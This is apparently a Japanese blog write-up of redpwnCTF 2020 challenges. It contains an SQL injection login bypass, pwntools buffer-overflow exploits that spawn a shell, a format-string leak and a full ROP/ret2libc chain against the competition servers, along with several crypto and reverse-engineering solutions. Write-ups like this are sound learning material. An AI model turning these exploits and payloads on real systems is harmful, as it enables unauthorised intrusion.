CTF for BBA

ゲーム時々CTFやるBBAの日常。

redpwnCTF 2020 writeup

3199点で316位でした。まあこんなもんですね…
pwnが基本からステップアップするように作られていたので勉強になりました。


misc/sanity-check


flag: flag{54n1ty_ch3ck_f1r5t_bl00d?}

misc/discord

discordのannouncementにフラグ。

flag: flag{w3lc0me_t0_r3dpwnctf_d1sc0rd}

misc/hackerone-survey

アンケートに答える。なお私はペンテスターではない。

flag: flag{rac3_f0r_H@ck3rOne_surv3y!}

web/inspector-general

ソースコードのheadタグ内にフラグ。

flag: flag{1nspector_g3n3ral_at_w0rk}

rev/ropes

macの実行ファイル。strignsで出る。ちなみにpinは4919。

$ strings ropes
Give me a magic number: 
First part is: flag{r0pes_ar3_
Second part is: just_l0ng_str1ngs}


flag: flag{r0pes_ar3_just_l0ng_str1ngs}

crypto/base646464

base64*25。

import base64

with open("cipher.txt", 'r') as f:
    s = f.read()
dec = s
for i in range(25):
    dec = base64.b64decode(dec)

print(dec)

flag: flag{l00ks_l1ke_a_l0t_of_64s}

web/login

admin'/*でログインできた。

SQL Injection Cheat Sheet | Netsparker


flag: flag{0bl1g4t0ry_5ql1}

pwn/coffer-overflow-0

#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code != 0) {
    system("/bin/sh");
  }
}

f:id:boxwolf:20200622124450p:plain
20h(=32)-8=24文字より多く入力するとオーバーフローしてcodeが0でなくなる。
無言でシェルが起動するので、lscat flag.txtと打つだけ。

flag: flag{b0ffer_0verf10w_3asy_as_123}

pwn/coffer-overflow-1

#include <stdio.h>
#include <string.h>

int main(void)
{
  long code = 0;
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);

  if(code == 0xcafebabe) {
    system("/bin/sh");
  }
}

オーバーフローのさせ方は前問と同じだが、codeが指定の値である必要がある。

from pwn import *

io = remote('2020.redpwnc.tf', 31255)
payload = b'A'*24 + p64(0xcafebabe)

s = io.recvuntil('?')
print(s)
print(b'payload: ' + payload)
io.send(payload)
io.interactive()


flag: flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}

pwn/coffer-overflow-2

#include <stdio.h>
#include <string.h>

int main(void)
{
  char name[16];
  
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
  puts("What do you want to fill your coffer with?");

  gets(name);
}

void binFunction() {
  system("/bin/sh");
}

returnアドレスを書き換えてbinFunctionに飛ぶようにすればよい。

$ checksec coffer-overflow-2
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ objdump -d coffer-overflow-2
(snip)
00000000004006e6 <binFunction>:
  4006e6:   55                      push   %rbp
  4006e7:   48 89 e5                mov    %rsp,%rbp
(snip)

PIEなし。オーバーフローする位置は同じなので、binFunctionのアドレス(0x4006e6)を入れるように変える。

from pwn import *

io = remote('2020.redpwnc.tf', 31908)
payload = b'A'*24 + p64(0x4006e6)

s = io.recvuntil('?')
print(s)
print(b'payload: ' + payload)
io.send(payload)
io.interactive()

flag: flag{ret_to_b1n_m0re_l1k3_r3t_t0_w1n}

crypto/pseudo-key

情報量が落ちる系のcryptは苦手。
まずはkeyを特定するのだが、暗号化後の文字が"i"(8)だった場合、元の文字が"e"(4)か"r"(17)かわからない。
両方を見比べて、意味のある文字列になるように拾っていったところ、"redpwwwnctf"になった。

#!/usr/bin/env python3

from string import ascii_lowercase

chr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}
num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}

def encrypt(ptxt, key):
    ptxt = ptxt.lower()
    key = ''.join(key[i % len(key)] for i in range(len(ptxt))).lower()
    ctxt = ''
    for i in range(len(ptxt)):
        if ptxt[i] == '_':
            ctxt += '_'
            continue
        x = chr_to_num[ptxt[i]]
        y = chr_to_num[key[i]]
        ctxt += num_to_chr[(x + y) % 26]
    return ctxt

ct = 'z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut'
ck = 'iigesssaemk'
dk = 'redpwwwnctf'

# for cki in ck:
#   n = chr_to_num[cki]
#   print('' + num_to_chr[n//2] + ' or ' + num_to_chr[(n+26)//2])

m = ''
for i in range(len(ct)):
  if ct[i] == '_':
    m += '_'
  else:
    n1 = chr_to_num[ct[i]] - chr_to_num[dk[i%len(dk)]]
    n2 = chr_to_num[ct[i]] - chr_to_num[dk[i%len(dk)]] + 26
    if n1 < 0:
      m += num_to_chr[n2]
    elif 25 < n2:
      m += num_to_chr[n1]
    else:
      print('error')
print('flag{' + m + '}')

flag: flag{i_guess_pseudo_keys_are_pseudo_secure}

pwn/secret-flag

format string bugも苦手。

$ ./secret-flag 
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%p%p%p%p%p%p%p%p%p%Hello there: 0x7ffea44444700x7fafc2c459e00x7fafc29703c00x7fafc3056740(nil)0x3a4446ba00x7fafc4f7f0100x70257025702570250x70257025702570

区切りが入っていなくて見づらいけど、入力値(%p=0x2570)は8番目以降に格納されている。

f:id:boxwolf:20200622172341p:plain

flag.txtのopen、readは既に行われていて、後は格納されているbufを読み出せばよい。
buf(-28h)は入力値s(-20h)の、qw(8バイト)単位で言うと一つ前に格納されている、つまり7番目がbufのアドレス。

$ nc 2020.redpwnc.tf 31826
I have a secret flag, which you'll never get!
What is your name, young adventurer?
%7$s
Hello there: flag{n0t_s0_s3cr3t_f1ag_n0w}

flag: flag{n0t_s0_s3cr3t_f1ag_n0w}

crypto/4k-rsa

素因数を増やしたらつよいのか?わたしにはよくわからない…。
でもfactordbで素因数分解できてしまったので。

from Crypto.Util.number import inverse, long_to_bytes

n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e = 65537
c = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171

p = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977]
phi = 1
for i in range(len(p)):
  phi = phi * (p[i]-1)

d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

flag: flag{t0000_m4nyyyy_pr1m355555}

rev/bubbly

_Bool check(void)

{
  uint32_t i;
  _Bool pass;
  
  i = 0;
  while( true ) {
    if (8 < i) {
      return true;
    }
    if (nums[i + 1] < nums[i]) break;
    i = i + 1;
  }
  return false;
}

int main(void)

{
  uint32_t i;
  int unused;
  _Bool pass;
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("I hate my data structures class! Why can\'t I just sort by hand?");
  pass = false;
  while( true ) {
    __isoc99_scanf(&DAT_00102058);
    if (8 < i) break;
    nums[i] = nums[i] ^ nums[i + 1];
    nums[i + 1] = nums[i + 1] ^ nums[i];
    nums[i] = nums[i] ^ nums[i + 1];
    pass = check();
  }
  if (pass == false) {
    puts("Try again!");
  }
  else {
    puts("Well done!");
    print_flag();
  }
  return 0;
}

配列を繰り返しモゾモゾするような関数(言語化が難しい)はデコンパイラの方が見やすい。Ghidraで見る。
nums[i]とnum[i+1]で繰り返しxorして代入している部分は、配列num[i]とnum[i+1]の要素を入れ替えている。

XOR交換アルゴリズム - Wikipedia

用意された配列を、ぶっちゃければ手作業でバブルソートして小さい順に並べる問題。

gdb-peda$ x/10wx 0x555555558060
0x555555558060 <nums>:    0x00000001  0x0000000a  0x00000003  0x00000002
0x555555558070 <nums+16>: 0x00000005  0x00000009  0x00000008  0x00000007
0x555555558080 <nums+32>: 0x00000004  0x00000006

配列の構造体は上記のようになっている。
つまり0x1、0xa、…、0x6の配列の、入れ替える場所を0-8で指定し、小さい順に並べる。
終わったら、8より大きい値を入力して終了。

入れ替える箇所はどこからでもいいので、12345678456745645319を入力した。

flag: flag{4ft3r_y0u_put_u54c0_0n_y0ur_c011ege_4pp5_y0u_5t1ll_h4ve_t0_d0_th15_57uff}

pwn/the-library

他CTFのwriteupのコードを借りただけ。
初めてROPとret2libcした。最初は一つひとつアドレス調べて書いてたんだけどpwntoolsが全部やってくれると知って驚いた。便利。

from pwn import *

io = remote('2020.redpwnc.tf', 31350)
elf = ELF('./true')
libc = ELF('./libc.so.6')
#io = process(elf.path)
rop = ROP(elf)

# true
puts_plt = elf.plt['puts']
main = elf.symbols['main']
libc_start_main = elf.symbols['__libc_start_main']
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

log.info("puts@plt: " + hex(puts_plt))
log.info("__libc_start_main: " + hex(libc_start_main))
log.info("pop rdi gadget: " + hex(pop_rdi))

base = b'A'*24
print(io.recvline())

payload = base + p64(pop_rdi) + p64(libc_start_main) +  p64(puts_plt) + p64(main)
io.send(payload)

print(io.recvline())
print(io.recvline())

recieved = io.recvline().strip()
leak = u64(recieved.ljust(8, b'\x00'))
log.info("Leaked libc address,  __libc_start_main: %s" % hex(leak))
libc.address = leak - libc.sym["__libc_start_main"]
log.info("Address of libc %s " % hex(libc.address))

binsh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']

log.info("/bin/sh %s " % hex(binsh))
log.info("system %s " % hex(system))

print(io.recvline())

payload = base + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

io.send(payload)
io.interactive()

2nd payloadのret gadgetが何故必要なのかわかってない…。

flag: flag{jump_1nt0_th3_l1brary}